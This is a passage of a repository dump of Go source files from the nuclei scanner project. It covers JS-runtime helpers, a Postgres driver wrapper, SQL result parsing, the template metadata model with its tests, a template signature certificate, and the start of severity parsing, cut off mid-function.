    "content": "package utils\n\nimport (\n\t\"fmt\"\n\t\"reflect\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/Mzack9999/goja\"\n)\n\n// temporary on demand runtime to throw errors when vm is not available\nvar (\n\ttmpRuntime  *goja.Runtime\n\truntimeInit func() = sync.OnceFunc(func() {\n\t\ttmpRuntime = goja.New()\n\t})\n)\n\nfunc getRuntime() *goja.Runtime {\n\truntimeInit()\n\treturn tmpRuntime\n}\n\n// NucleiJS is js bindings that handles goja runtime related issue\n// and allows setting a defer statements to close resources\ntype NucleiJS struct {\n\tvm        *goja.Runtime\n\tObjectSig string\n}\n\n// NewNucleiJS creates a new nucleijs instance\nfunc NewNucleiJS(vm *goja.Runtime) *NucleiJS {\n\treturn &NucleiJS{vm: vm}\n}\n\n// internal runtime getter\nfunc (j *NucleiJS) runtime() *goja.Runtime {\n\tif j == nil {\n\t\treturn getRuntime()\n\t}\n\treturn j.vm\n}\n\nfunc (j *NucleiJS) ExecutionId() string {\n\texecutionId, ok := j.vm.GetContextValue(\"executionId\")\n\tif !ok {\n\t\treturn \"\"\n\t}\n\treturn executionId.(string)\n}\n\n// see: https://arc.net/l/quote/wpenftpc for throwing docs\n\n// ThrowError throws an error in goja runtime if is not nil\nfunc (j *NucleiJS) ThrowError(err error) {\n\tif err == nil {\n\t\treturn\n\t}\n\tpanic(j.runtime().ToValue(err.Error()))\n}\n\n// HandleError handles error and throws a\nfunc (j *NucleiJS) HandleError(err error, msg ...string) {\n\tif err == nil {\n\t\treturn\n\t}\n\tif len(msg) == 0 {\n\t\tj.ThrowError(err)\n\t}\n\tj.Throw(\"%s: %s\", strings.Join(msg, \":\"), err.Error())\n}\n\n// Throw throws an error in goja runtime\nfunc (j *NucleiJS) Throw(format string, args ...interface{}) {\n\tif len(args) > 0 {\n\t\tpanic(j.runtime().ToValue(fmt.Sprintf(format, args...)))\n\t}\n\n\tpanic(j.runtime().ToValue(format))\n}\n\n// GetArg returns argument at index from goja runtime if not found throws error\nfunc (j *NucleiJS) GetArg(args []goja.Value, index int) any {\n\tif index >= len(args) {\n\t\tj.Throw(\"Missing argument at index %v: %v\", index, j.ObjectSig)\n\t}\n\tval := args[index]\n\tif goja.IsUndefined(val) {\n\t\tj.Throw(\"Missing argument at index %v: %v\", index, j.ObjectSig)\n\t}\n\treturn val.Export()\n}\n\n// GetArgSafe returns argument at index from goja runtime if not found returns default value\nfunc (j *NucleiJS) GetArgSafe(args []goja.Value, index int, defaultValue any) any {\n\tif index >= len(args) {\n\t\treturn defaultValue\n\t}\n\tval := args[index]\n\tif goja.IsUndefined(val) {\n\t\treturn defaultValue\n\t}\n\treturn val.Export()\n}\n\n// Require throws an error if expression is false\nfunc (j *NucleiJS) Require(expr bool, msg string) {\n\tif !expr {\n\t\tj.Throw(\"%s\", msg)\n\t}\n}\n\n// LinkConstructor links a type with invocation doing this allows\n// usage of instance of type in js\nfunc LinkConstructor[T any](call goja.ConstructorCall, vm *goja.Runtime, obj T) *goja.Object {\n\tinstance := vm.ToValue(obj).(*goja.Object)\n\t_ = instance.SetPrototype(call.This.Prototype())\n\treturn instance\n}\n\n// GetStructType gets a type defined in go and passed as argument from goja runtime if not found throws error\n// Donot use this unless you are accepting a struct type from constructor\nfunc GetStructType[T any](nj *NucleiJS, args []goja.Value, index int, FuncSig string) T {\n\tif nj == nil {\n\t\tnj = &NucleiJS{}\n\t}\n\tif index >= len(args) {\n\t\tif FuncSig == \"\" {\n\t\t\tnj.Throw(\"Missing argument at index %v\", index)\n\t\t}\n\t\tnj.Throw(\"Missing arguments expected : %v\", FuncSig)\n\t}\n\tvalue := args[index]\n\t// validate type\n\tvar ptr T\n\texpected := reflect.ValueOf(ptr).Type()\n\targType := expected.Name()\n\tvalueType := value.ExportType().Name()\n\n\tif argType != valueType {\n\t\tnj.Throw(\"Type Mismatch expected %v got %v\", argType, valueType)\n\t}\n\n\tptrValue := reflect.New(expected).Elem()\n\tptrValue.Set(reflect.ValueOf(value.Export()))\n\n\treturn ptrValue.Interface().(T)\n}\n\n// GetStructTypeSafe gets an type defined in go and passed as argument from goja runtime if not found returns default value\n// Donot use this unless you are accepting a struct type from constructor\nfunc GetStructTypeSafe[T any](nj *NucleiJS, args []goja.Value, index int, defaultValue T) T {\n\tif nj == nil {\n\t\tnj = &NucleiJS{}\n\t}\n\tif index >= len(args) {\n\t\treturn defaultValue\n\t}\n\tvalue := args[index]\n\t// validate type\n\tvar ptr T\n\targType := reflect.ValueOf(ptr).Type().Name()\n\tvalueType := value.ExportType().Name()\n\n\tif argType != valueType {\n\t\treturn defaultValue\n\t}\n\treturn value.ToObject(nj.runtime()).Export().(T)\n}\n"
  },
  {
    "path": "pkg/js/utils/pgwrap/pgwrap.go",
    "content": "package pgwrap\n\nimport (\n\t\"context\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/url\"\n\t\"time\"\n\n\t\"github.com/lib/pq\"\n\t\"github.com/projectdiscovery/fastdialer/fastdialer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/protocolstate\"\n)\n\nconst (\n\tPGWrapDriver = \"pgwrap\"\n)\n\ntype pgDial struct {\n\texecutionId string\n}\n\nfunc (p *pgDial) Dial(network, address string) (net.Conn, error) {\n\tdialers := protocolstate.GetDialersWithId(p.executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", p.executionId)\n\t}\n\treturn dialers.Fastdialer.Dial(context.TODO(), network, address)\n}\n\nfunc (p *pgDial) DialTimeout(network, address string, timeout time.Duration) (net.Conn, error) {\n\tdialers := protocolstate.GetDialersWithId(p.executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", p.executionId)\n\t}\n\tctx, cancel := context.WithTimeoutCause(context.Background(), timeout, fastdialer.ErrDialTimeout)\n\tdefer cancel()\n\treturn dialers.Fastdialer.Dial(ctx, network, address)\n}\n\nfunc (p *pgDial) DialContext(ctx context.Context, network, address string) (net.Conn, error) {\n\tdialers := protocolstate.GetDialersWithId(p.executionId)\n\tif dialers == nil {\n\t\treturn nil, fmt.Errorf(\"dialers not initialized for %s\", p.executionId)\n\t}\n\treturn dialers.Fastdialer.Dial(ctx, network, address)\n}\n\n// Unfortunately lib/pq does not provide easy to customize or\n// replace dialer so we need to hijack it by wrapping it in our own\n// driver and register it as postgres driver\n\n// PgDriver is the Postgres database driver.\ntype PgDriver struct{}\n\n// Open opens a new connection to the database. name is a connection string.\n// Most users should only use it through database/sql package from the standard\n// library.\nfunc (d PgDriver) Open(name string) (driver.Conn, error) {\n\t// Parse the connection string to get executionId\n\tu, err := url.Parse(name)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"invalid connection string: %v\", err)\n\t}\n\tvalues := u.Query()\n\texecutionId := values.Get(\"executionId\")\n\t// Remove executionId from the connection string\n\tvalues.Del(\"executionId\")\n\tu.RawQuery = values.Encode()\n\n\treturn pq.DialOpen(&pgDial{executionId: executionId}, u.String())\n}\n\nfunc init() {\n\tsql.Register(PGWrapDriver, &PgDriver{})\n}\n"
  },
  {
    "path": "pkg/js/utils/util.go",
    "content": "package utils\n\nimport (\n\t\"database/sql\"\n)\n\n// SQLResult holds the result of a SQL query.\n//\n// It contains the count of rows, the columns present, and the actual row data.\ntype SQLResult struct {\n\tCount   int           // Count is the number of rows returned.\n\tColumns []string      // Columns is the slice of column names.\n\tRows    []interface{} // Rows is a slice of row data, where each row is a map of column name to value.\n}\n\n// UnmarshalSQLRows converts sql.Rows into a more structured SQLResult.\n//\n// This function takes *sql.Rows as input and attempts to unmarshal the data into\n// a SQLResult struct. It handles different SQL data types by using the appropriate\n// sql.Null* types during scanning. It returns a pointer to a SQLResult or an error.\n//\n// The function closes the sql.Rows when finished.\nfunc UnmarshalSQLRows(rows *sql.Rows) (*SQLResult, error) {\n\tdefer func() {\n\t\t_ = rows.Close()\n\t}()\n\tcolumnTypes, err := rows.ColumnTypes()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tresult := &SQLResult{}\n\tresult.Columns, err = rows.Columns()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcount := len(columnTypes)\n\tfor rows.Next() {\n\t\tresult.Count++\n\t\tscanArgs := make([]interface{}, count)\n\t\tfor i, v := range columnTypes {\n\t\t\tswitch v.DatabaseTypeName() {\n\t\t\tcase \"VARCHAR\", \"TEXT\", \"UUID\", \"TIMESTAMP\":\n\t\t\t\tscanArgs[i] = new(sql.NullString)\n\t\t\tcase \"BOOL\":\n\t\t\t\tscanArgs[i] = new(sql.NullBool)\n\t\t\tcase \"INT4\":\n\t\t\t\tscanArgs[i] = new(sql.NullInt64)\n\t\t\tdefault:\n\t\t\t\tscanArgs[i] = new(sql.NullString)\n\t\t\t}\n\t\t}\n\t\terr := rows.Scan(scanArgs...)\n\t\tif err != nil {\n\t\t\t// Return the result accumulated so far along with the error.\n\t\t\treturn result, err\n\t\t}\n\t\tmasterData := make(map[string]interface{})\n\t\tfor i, v := range columnTypes {\n\t\t\tif z, ok := (scanArgs[i]).(*sql.NullBool); ok {\n\t\t\t\tmasterData[v.Name()] = z.Bool\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif z, ok := (scanArgs[i]).(*sql.NullString); ok {\n\t\t\t\tmasterData[v.Name()] = z.String\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif z, ok := (scanArgs[i]).(*sql.NullInt64); ok {\n\t\t\t\tmasterData[v.Name()] = z.Int64\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif z, ok := (scanArgs[i]).(*sql.NullFloat64); ok {\n\t\t\t\tmasterData[v.Name()] = z.Float64\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tif z, ok := (scanArgs[i]).(*sql.NullInt32); ok {\n\t\t\t\tmasterData[v.Name()] = z.Int32\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tmasterData[v.Name()] = scanArgs[i]\n\t\t}\n\t\tresult.Rows = append(result.Rows, masterData)\n\t}\n\treturn result, nil\n}\n"
  },
  {
    "path": "pkg/keys/key.go",
    "content": "// keys package contains the public key for verifying digital signature of templates\npackage keys\n\nimport _ \"embed\"\n\nconst PDVerifier = \"projectdiscovery/nuclei-templates\"\n\n//go:embed nuclei.crt\nvar NucleiCert []byte // public key for verifying digital signature of templates\n"
  },
  {
    "path": "pkg/keys/nuclei.crt",
    "content": "-----BEGIN PD NUCLEI USER CERTIFICATE-----\nMIIBgDCCASWgAwIBAgIEZSUZ3jAKBggqhkjOPQQDAjAsMSowKAYDVQQDEyFwcm9q\nZWN0ZGlzY292ZXJ5L251Y2xlaS10ZW1wbGF0ZXMwHhcNMjMxMDEwMDkzMTEwWhcN\nMjcxMDA5MDkzMTEwWjAsMSowKAYDVQQDEyFwcm9qZWN0ZGlzY292ZXJ5L251Y2xl\naS10ZW1wbGF0ZXMwWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAASTaiE41H7LWudF\nSMCfnqguQMwEte7dz/FRfK2lmezE02w+I2VwcS3j5cPwNaqYRAJkQhk6+7li0GpG\n9fb11Fs2ozUwMzAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwEw\nDAYDVR0TAQH/BAIwADAKBggqhkjOPQQDAgNJADBGAiEAhFsWwLDcWks3RUv3ujCs\n4V1reu6KL+kELrCCQWu5FiUCIQDZbtqL30GPGYaPSpVmd6BKrZDBOfUVBsoCS7pS\nq3JLHQ==\n-----END PD NUCLEI USER CERTIFICATE-----"
  },
  {
    "path": "pkg/loader/parser/parser.go",
    "content": "package parser\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog\"\n)\n\ntype Parser interface {\n\tLoadTemplate(templatePath string, tagFilter any, extraTags []string, catalog catalog.Catalog) (bool, error)\n\tParseTemplate(templatePath string, catalog catalog.Catalog) (any, error)\n\tLoadWorkflow(templatePath string, catalog catalog.Catalog) (bool, error)\n}\n"
  },
  {
    "path": "pkg/loader/workflow/workflow_loader.go",
    "content": "package workflow\n\nimport (\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/loader/filter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n)\n\ntype workflowLoader struct {\n\tpathFilter *filter.PathFilter\n\ttagFilter  *templates.TagFilter\n\toptions    *protocols.ExecutorOptions\n}\n\n// NewLoader returns a new workflow loader structure\nfunc NewLoader(options *protocols.ExecutorOptions) (model.WorkflowLoader, error) {\n\ttagFilter, err := templates.NewTagFilter(&templates.TagFilterConfig{\n\t\tAuthors:           options.Options.Authors,\n\t\tTags:              options.Options.Tags,\n\t\tExcludeTags:       options.Options.ExcludeTags,\n\t\tIncludeTags:       options.Options.IncludeTags,\n\t\tIncludeIds:        options.Options.IncludeIds,\n\t\tExcludeIds:        options.Options.ExcludeIds,\n\t\tSeverities:        options.Options.Severities,\n\t\tExcludeSeverities: options.Options.ExcludeSeverities,\n\t\tProtocols:         options.Options.Protocols,\n\t\tExcludeProtocols:  options.Options.ExcludeProtocols,\n\t\tIncludeConditions: options.Options.IncludeConditions,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tpathFilter := filter.NewPathFilter(&filter.PathFilterConfig{\n\t\tIncludedTemplates: options.Options.IncludeTemplates,\n\t\tExcludedTemplates: options.Options.ExcludedTemplates,\n\t}, options.Catalog)\n\n\treturn &workflowLoader{pathFilter: pathFilter, tagFilter: tagFilter, options: options}, nil\n}\n\nfunc (w *workflowLoader) GetTemplatePathsByTags(templateTags []string) []string {\n\tincludedTemplates, errs := w.options.Catalog.GetTemplatesPath([]string{config.DefaultConfig.TemplatesDirectory})\n\tfor template, err := range errs {\n\t\tgologger.Error().Msgf(\"Could not find template '%s': %s\", template, err)\n\t}\n\n\ttemplatePathMap := w.pathFilter.Match(includedTemplates)\n\n\tloadedTemplates := make([]string, 0, len(templatePathMap))\n\tfor templatePath := range templatePathMap {\n\t\tloaded, _ := w.options.Parser.LoadTemplate(templatePath, w.tagFilter, templateTags, w.options.Catalog)\n\t\tif loaded {\n\t\t\tloadedTemplates = append(loadedTemplates, templatePath)\n\t\t}\n\t}\n\treturn loadedTemplates\n}\n\nfunc (w *workflowLoader) GetTemplatePaths(templatesList []string, noValidate bool) []string {\n\tincludedTemplates, errs := w.options.Catalog.GetTemplatesPath(templatesList)\n\tfor template, err := range errs {\n\t\tgologger.Error().Msgf(\"Could not find template '%s': %s\", template, err)\n\t}\n\ttemplatesPathMap := w.pathFilter.Match(includedTemplates)\n\n\tloadedTemplates := make([]string, 0, len(templatesPathMap))\n\tfor templatePath := range templatesPathMap {\n\t\tmatched, err := w.options.Parser.LoadTemplate(templatePath, w.tagFilter, nil, w.options.Catalog)\n\t\tif err != nil && !matched {\n\t\t\tgologger.Warning().Msg(err.Error())\n\t\t} else if matched || noValidate {\n\t\t\tloadedTemplates = append(loadedTemplates, templatePath)\n\t\t}\n\t}\n\treturn loadedTemplates\n}\n"
  },
  {
    "path": "pkg/model/model.go",
    "content": "package model\n\nimport (\n\t\"github.com/invopop/jsonschema\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n)\n\ntype schemaMetadata struct {\n\tPropName string\n\tPropType string\n\tExample  []interface{}\n\tOneOf    []*schemaMetadata\n}\n\nvar infoSchemaMetadata = []schemaMetadata{\n\t{PropName: \"author\", OneOf: []*schemaMetadata{{PropType: \"string\", Example: []interface{}{`pdteam`}}, {PropType: \"array\", Example: []interface{}{`pdteam,mr.robot`}}}},\n}\n\n// Info contains metadata information about a template\ntype Info struct {\n\t// description: |\n\t//   Name should be good short summary that identifies what the template does.\n\t//\n\t// examples:\n\t//   - value: \"\\\"bower.json file disclosure\\\"\"\n\t//   - value: \"\\\"Nagios Default Credentials Check\\\"\"\n\tName string `json:\"name,omitempty\" yaml:\"name,omitempty\" jsonschema:\"title=name of the template,description=Name is a short summary of what the template does,type=string,required,example=Nagios Default Credentials Check\"`\n\t// description: |\n\t//   Author of the template.\n\t//\n\t//   Multiple values can also be specified separated by commas.\n\t// examples:\n\t//   - value: \"\\\"<username>\\\"\"\n\tAuthors stringslice.StringSlice `json:\"author,omitempty\" yaml:\"author,omitempty\" jsonschema:\"title=author of the template,description=Author is the author of the template,required,example=username\"`\n\t// description: |\n\t//   Any tags for the template.\n\t//\n\t//   Multiple values can also be specified separated by commas.\n\t//\n\t// examples:\n\t//   - name: Example tags\n\t//     value: \"\\\"cve,cve2019,grafana,auth-bypass,dos\\\"\"\n\tTags stringslice.StringSlice `json:\"tags,omitempty\" yaml:\"tags,omitempty\" jsonschema:\"title=tags of the template,description=Any tags for the template\"`\n\t// description: |\n\t//   Description of the template.\n\t//\n\t//   You can go in-depth here on what the template actually does.\n\t//\n\t// examples:\n\t//   - value: \"\\\"Bower is a package manager which stores package information in the bower.json file\\\"\"\n\t//   - value: \"\\\"Subversion ALM for the enterprise before 8.8.2 allows reflected XSS at multiple locations\\\"\"\n\tDescription string `json:\"description,omitempty\" yaml:\"description,omitempty\" jsonschema:\"title=description of the template,description=In-depth explanation on what the template does,type=string,example=Bower is a package manager which stores package information in the bower.json file\"`\n\t// description: |\n\t//   Impact of the template.\n\t//\n\t//   You can go in-depth here on impact of the template.\n\t//\n\t// examples:\n\t//   - value: \"\\\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\\\"\"\n\t//   - value: \"\\\"Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.\\\"\"\n\tImpact string `json:\"impact,omitempty\" yaml:\"impact,omitempty\" jsonschema:\"title=impact of the template,description=In-depth explanation on the impact of the issue found by the template,example=Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.,type=string\"`\n\t// description: |\n\t//   References for the template.\n\t//\n\t//   This should contain links relevant to the template.\n\t//\n\t// examples:\n\t//   - value: >\n\t//       []string{\"https://github.com/strapi/strapi\", \"https://github.com/getgrav/grav\"}\n\tReference *stringslice.RawStringSlice `json:\"reference,omitempty\" yaml:\"reference,omitempty\" jsonschema:\"title=references for the template,description=Links relevant to the template\"`\n\t// description: |\n\t//   Severity of the template.\n\tSeverityHolder severity.Holder `json:\"severity,omitempty\" yaml:\"severity,omitempty\"`\n\t// description: |\n\t//   Metadata of the template.\n\t//\n\t// examples:\n\t//   - value: >\n\t//       map[string]string{\"customField1\":\"customValue1\"}\n\tMetadata map[string]interface{} `json:\"metadata,omitempty\" yaml:\"metadata,omitempty\" jsonschema:\"title=additional metadata for the template,description=Additional metadata fields for the template,type=object\"`\n\n\t// description: |\n\t//   Classification contains classification information about the template.\n\tClassification *Classification `json:\"classification,omitempty\" yaml:\"classification,omitempty\" jsonschema:\"title=classification info for the template,description=Classification information for the template,type=object\"`\n\n\t// description: |\n\t//   Remediation steps for the template.\n\t//\n\t//   You can go in-depth here on how to mitigate the problem found by this template.\n\t//\n\t// examples:\n\t//   - value: \"\\\"Change the default administrative username and password of Apache ActiveMQ by editing the file jetty-realm.properties\\\"\"\n\tRemediation string `json:\"remediation,omitempty\" yaml:\"remediation,omitempty\" jsonschema:\"title=remediation steps for the template,description=In-depth explanation on how to fix the issues found by the template,example=Change the default administrative username and password of Apache ActiveMQ by editing the file jetty-realm.properties,type=string\"`\n}\n\n// JSONSchemaProperty returns the JSON schema property for the Info object.\nfunc (i Info) JSONSchemaExtend(base *jsonschema.Schema) {\n\t// since we are re-using a stringslice and rawStringSlice everywhere, we can extend/edit the schema here\n\t// thus allowing us to add examples, descriptions, etc. to the properties\n\tfor _, metadata := range infoSchemaMetadata {\n\t\tif prop, ok := base.Properties.Get(metadata.PropName); ok {\n\t\t\tif len(metadata.OneOf) > 0 {\n\t\t\t\tfor _, oneOf := range metadata.OneOf {\n\t\t\t\t\tprop.OneOf = append(prop.OneOf, &jsonschema.Schema{\n\t\t\t\t\t\tType:     oneOf.PropType,\n\t\t\t\t\t\tExamples: oneOf.Example,\n\t\t\t\t\t})\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif metadata.PropType != \"\" {\n\t\t\t\t\tprop.Type = metadata.PropType\n\t\t\t\t}\n\t\t\t\tprop.Examples = []interface{}{metadata.Example}\n\t\t\t}\n\t\t}\n\t}\n}\n\n// Classification contains the vulnerability classification data for a template.\ntype Classification struct {\n\t// description: |\n\t//   CVE ID for the template\n\t// examples:\n\t//   - value: \"\\\"CVE-2020-14420\\\"\"\n\tCVEID stringslice.StringSlice `json:\"cve-id,omitempty\" yaml:\"cve-id,omitempty\" jsonschema:\"title=cve ids for the template,description=CVE IDs for the template,example=CVE-2020-14420\"`\n\t// description: |\n\t//   CWE ID for the template.\n\t// examples:\n\t//   - value: \"\\\"CWE-22\\\"\"\n\tCWEID stringslice.StringSlice `json:\"cwe-id,omitempty\" yaml:\"cwe-id,omitempty\" jsonschema:\"title=cwe ids for the template,description=CWE IDs for the template,example=CWE-22\"`\n\t// description: |\n\t//   CVSS Metrics for the template.\n\t// examples:\n\t//   - value: \"\\\"3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\\\"\"\n\tCVSSMetrics string `json:\"cvss-metrics,omitempty\" yaml:\"cvss-metrics,omitempty\" jsonschema:\"title=cvss metrics for the template,description=CVSS Metrics for the template,example=3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\"`\n\t// description: |\n\t//   CVSS Score for the template.\n\t// examples:\n\t//   - value: \"\\\"9.8\\\"\"\n\tCVSSScore float64 `json:\"cvss-score,omitempty\" yaml:\"cvss-score,omitempty\" jsonschema:\"title=cvss score for the template,description=CVSS Score for the template,example=9.8\"`\n\t// description: |\n\t//   EPSS Score for the template.\n\t// examples:\n\t//   - value: \"\\\"0.42509\\\"\"\n\tEPSSScore float64 `json:\"epss-score,omitempty\" yaml:\"epss-score,omitempty\" jsonschema:\"title=epss score for the template,description=EPSS Score for the template,example=0.42509\"`\n\t// description: |\n\t//   EPSS Percentile for the template.\n\t// examples:\n\t//   - value: \"\\\"0.42509\\\"\"\n\tEPSSPercentile float64 `json:\"epss-percentile,omitempty\" yaml:\"epss-percentile,omitempty\" jsonschema:\"title=epss percentile for the template,description=EPSS Percentile for the template,example=0.42509\"`\n\t// description: |\n\t//   CPE for the template.\n\t// examples:\n\t//   - value: \"\\\"cpe:/a:vendor:product:version\\\"\"\n\tCPE string `json:\"cpe,omitempty\" yaml:\"cpe,omitempty\" jsonschema:\"title=cpe for the template,description=CPE for the template,example=cpe:/a:vendor:product:version\"`\n}\n"
  },
  {
    "path": "pkg/model/model_test.go",
    "content": "package model\n\nimport (\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n\t\"github.com/stretchr/testify/require\"\n\t\"gopkg.in/yaml.v2\"\n)\n\nfunc TestInfoJsonMarshal(t *testing.T) {\n\tinfo := Info{\n\t\tName:           \"Test Template Name\",\n\t\tAuthors:        stringslice.StringSlice{Value: []string{\"forgedhallpass\", \"ice3man\"}},\n\t\tDescription:    \"Test description\",\n\t\tSeverityHolder: severity.Holder{Severity: severity.High},\n\t\tTags:           stringslice.StringSlice{Value: []string{\"cve\", \"misc\"}},\n\t\tReference:      stringslice.NewRawStringSlice(\"Reference1\"),\n\t\tMetadata: map[string]interface{}{\n\t\t\t\"string_key\": \"string_value\",\n\t\t\t\"array_key\":  []string{\"array_value1\", \"array_value2\"},\n\t\t\t\"map_key\": map[string]string{\n\t\t\t\t\"key1\": \"val1\",\n\t\t\t},\n\t\t},\n\t}\n\n\tresult, err := json.Marshal(&info)\n\trequire.Nil(t, err)\n\n\texpected := `{\"name\":\"Test Template Name\",\"author\":[\"forgedhallpass\",\"ice3man\"],\"tags\":[\"cve\",\"misc\"],\"description\":\"Test description\",\"reference\":\"Reference1\",\"severity\":\"high\",\"metadata\":{\"array_key\":[\"array_value1\",\"array_value2\"],\"map_key\":{\"key1\":\"val1\"},\"string_key\":\"string_value\"}}`\n\trequire.Equal(t, expected, string(result))\n}\n\nfunc TestInfoYamlMarshal(t *testing.T) {\n\tinfo := Info{\n\t\tName:           \"Test Template Name\",\n\t\tAuthors:        stringslice.StringSlice{Value: []string{\"forgedhallpass\", \"ice3man\"}},\n\t\tDescription:    \"Test description\",\n\t\tSeverityHolder: severity.Holder{Severity: severity.High},\n\t\tTags:           stringslice.StringSlice{Value: []string{\"cve\", \"misc\"}},\n\t\tReference:      stringslice.NewRawStringSlice(\"Reference1\"),\n\t\tMetadata: map[string]interface{}{\n\t\t\t\"string_key\": \"string_value\",\n\t\t\t\"array_key\":  []string{\"array_value1\", \"array_value2\"},\n\t\t\t\"map_key\": map[string]string{\n\t\t\t\t\"key1\": \"val1\",\n\t\t\t},\n\t\t},\n\t}\n\n\tresult, err := yaml.Marshal(&info)\n\trequire.Nil(t, err)\n\n\texpected := `name: Test Template Name\nauthor:\n- forgedhallpass\n- ice3man\ntags:\n- cve\n- misc\ndescription: Test description\nreference: Reference1\nseverity: high\nmetadata:\n  array_key:\n  - array_value1\n  - array_value2\n  map_key:\n    key1: val1\n  string_key: string_value\n`\n\trequire.Equal(t, expected, string(result))\n}\n\nfunc TestUnmarshal(t *testing.T) {\n\ttemplateName := \"Test Template\"\n\tauthors := []string{\"forgedhallpass\", \"ice3man\"}\n\ttags := []string{\"cve\", \"misc\"}\n\treferences := []string{\"http://test.com\", \"http://Domain.com\"}\n\n\tdynamicKey1 := \"customDynamicKey1\"\n\tdynamicKey2 := \"customDynamicKey2\"\n\n\tdynamicKeysMap := map[string]interface{}{\n\t\tdynamicKey1: \"customDynamicValue1\",\n\t\tdynamicKey2: \"customDynamicValue2\",\n\t}\n\n\tassertUnmarshalledTemplateInfo := func(t *testing.T, yamlPayload string) Info {\n\t\tt.Helper()\n\t\tinfo := Info{}\n\t\terr := yaml.Unmarshal([]byte(yamlPayload), &info)\n\t\trequire.Nil(t, err)\n\t\trequire.Equal(t, info.Name, templateName)\n\t\trequire.Equal(t, info.Authors.ToSlice(), authors)\n\t\trequire.Equal(t, info.Tags.ToSlice(), tags)\n\t\trequire.Equal(t, info.SeverityHolder.Severity, severity.Critical)\n\t\trequire.Equal(t, info.Reference.ToSlice(), references)\n\t\trequire.Equal(t, info.Metadata, dynamicKeysMap)\n\t\treturn info\n\t}\n\n\tyamlPayload1 := `\n  name: ` + templateName + `\n  author: ` + strings.Join(authors, \", \") + `\n  tags: ` + strings.Join(tags, \", \") + `\n  severity: critical\n  reference: ` + strings.Join(references, \",\") + `\n  metadata:\n     ` + dynamicKey1 + `: ` + dynamicKeysMap[dynamicKey1].(string) + `\n     ` + dynamicKey2 + `: ` + dynamicKeysMap[dynamicKey2].(string) + `\n`\n\tyamlPayload2 := `\n  name: ` + templateName + `\n  author:\n    - ` + authors[0] + `\n    - ` + authors[1] + `\n  tags:\n    - ` + tags[0] + `\n    - ` + tags[1] + `\n  severity: critical\n  reference:\n    - ` + references[0] + ` # comments are not unmarshalled\n    - ` + references[1] + `\n  metadata:\n     ` + dynamicKey1 + `: ` + dynamicKeysMap[dynamicKey1].(string) + `\n     ` + dynamicKey2 + `: ` + dynamicKeysMap[dynamicKey2].(string) + `\n`\n\n\tinfo1 := assertUnmarshalledTemplateInfo(t, yamlPayload1)\n\tinfo2 := assertUnmarshalledTemplateInfo(t, yamlPayload2)\n\trequire.Equal(t, info1, info2)\n}\n"
  },
  {
    "path": "pkg/model/types/severity/severities.go",
    "content": "package severity\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/json\"\n)\n\n// Severities used by the goflags library for parsing an array of Severity types, passed as CLI arguments from the user\ntype Severities []Severity\n\nfunc (severities *Severities) Set(values string) error {\n\tinputSeverities, err := goflags.ToStringSlice(values, goflags.FileNormalizedStringSliceOptions)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, inputSeverity := range inputSeverities {\n\t\tif err := setSeverity(severities, inputSeverity); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (severities Severities) MarshalYAML() (interface{}, error) {\n\tvar stringSeverities = make([]string, 0, len(severities))\n\tfor _, severity := range severities {\n\t\tstringSeverities = append(stringSeverities, severity.String())\n\t}\n\treturn stringSeverities, nil\n}\n\nfunc (severities *Severities) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar stringSliceValue stringslice.StringSlice\n\tif err := unmarshal(&stringSliceValue); err != nil {\n\t\treturn err\n\t}\n\n\tstringSLice := stringSliceValue.ToSlice()\n\tvar result = make(Severities, 0, len(stringSLice))\n\tfor _, severityString := range stringSLice {\n\t\tif err := setSeverity(&result, severityString); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*severities = result\n\treturn nil\n}\n\nfunc (severities *Severities) UnmarshalJSON(data 